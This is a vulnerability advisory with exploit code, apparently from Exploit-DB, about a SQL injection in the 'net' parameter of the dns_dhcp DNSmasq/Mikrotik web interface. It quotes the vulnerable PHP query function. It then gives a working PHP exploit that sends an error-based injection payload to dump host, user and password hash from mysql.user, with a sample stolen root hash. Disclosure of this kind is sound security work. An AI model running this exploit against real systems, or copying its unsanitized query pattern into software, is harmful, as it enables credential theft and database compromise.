Web Interface for DNSmasq / Mikrotik – SQL Injection

  • 作者: hyp3rlinx
    日期: 2016-05-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39817/
  • /*
    [+] Credits: hyp3rlinx
    [+] Website: hyp3rlinx.altervista.org
    [+] Source: http://hyp3rlinx.altervista.org/advisories/DNS_DHCP-WEB-INTERFACE-SQL-INJECTION.txt
    [+] ISR: apparitionsec
    
    Vendor:
    ====================
    tmcdos / sourceforge
    
    Product:
    ======================
    dns_dhcp Web Interface
    
    Download: sourceforge.net/projects/dnsmasq-mikrotik-admin/?source=directory
    
    This is a very simple web interface for management of static DHCP leases in
    DNSmasq and Mikrotik.
    It generates config files for DNSmasq and uses RouterOS API to manage
    Mikrotik. Network devices (usually PCs)
    are separated into subnets by department and use triplets (hostname, MAC
    address, IP address) for identification.
    Information is stored in MySQL.
    
    Vulnerability Type:
    ===================
    SQL Injection
    
    CVE Reference:
    ==============
    N/A
    
    Vulnerability Details:
    =====================
    
    The 'net' HTTP form POST parameter to dns.php script is not
    checked/santized and is used directly in MySQL query allowing
    attacker to easily exfiltrate any data from the backend database by using
    SQL Injection exploits.
    
    1) On line 239 of dns.php
    $b = str_replace('{FIRMA}',a_select('SUBNET',$_REQUEST['net']),$b);
    
    2)
    dns.php line 187 the a_select function where 2nd argument $_REQUEST['net']
    is passed to an concatenated to query ($clause)
    and executed on line 194 mysql_query($query).
    
    function a_select($tbl,$clause,$field='',$where='')
    {
    if ($clause==0) return ' ';
    if($field=='') $field=$tbl;
    $query = "SELECT $field FROM $tbl WHERE ";
    if($where=='') $query.='ID='.$clause;
    else $query.=$where;
    $res = mysql_query($query) or
    trigger_error($query.'<br>'.mysql_error(),E_USER_ERROR);
    if(mysql_num_rows($res)>0) return mysql_result($res,0,0);
    else return '&#160;';
    }
    
    Exploit code(s):
    ===============
    
    Run from CL...
    */
    
    <?php
    #dns_dhcp SQL Injection Exploit
    #exfiltrates host, user and password from MySQL
    #by hyp3rlinx
    #ISR - apparitionsec
    #hyp3rlinx.altervista.org
    #========================
    
    
    $victim="localhost";
    $url="/dns_dhcp/dns/dns.php";
    $port=80;
    $r='';
    
    $s = fsockopen($victim, $port, $errno, $errstr, 30);
    if(!$s){echo "Cant connect to the fucking server!"; exit();}
    
    $sql="net=1 and (select 1 from(select count(*),concat((select (select
    concat(0x2b,host,0x2b,user,0x2b,password,0x2b)) from mysql.user limit
    1),floor(rand(0)*2))x from mysql.user group by x)a)";
    
    $out = "POST $url HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($s, $out);
    fwrite($s, $sql);
    while (!feof($s)) {
    $r .= fgets($s, 128);
    if(strpos($r,'Duplicate entry')!==FALSE){
    $idx=strpos($r,'Duplicate entry');
    echo substr($r,$idx);
    break;
    }
    }
    fclose($s);
    /*
    Example result:
    Duplicate entry
    '+localhost+root+*6691484EA6B50DDDE1926A220DA01FA9E575C18A+1' for key
    'group_key'
    */
    ?>
    
    /*
    Disclosure Timeline:
    ===============================
    Vendor Notification:NA
    May 14, 2016 : Public Disclosure
    
    Exploitation Technique:
    =======================
    Remote
    
    Severity Level:
    ================
    High
    
    Description:
    ==================================================
    Request Method(s):[+] POST
    
    Vulnerable Product: [+] dns_dhcp Web Interface
    
    Vulnerable Parameter(s):[+] 'net'
    =====================================================
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no
    warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the
    information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author
    prohibits any malicious use of security related information
    or exploits by the author or elsewhere.
    
    hyp3rlinx
    */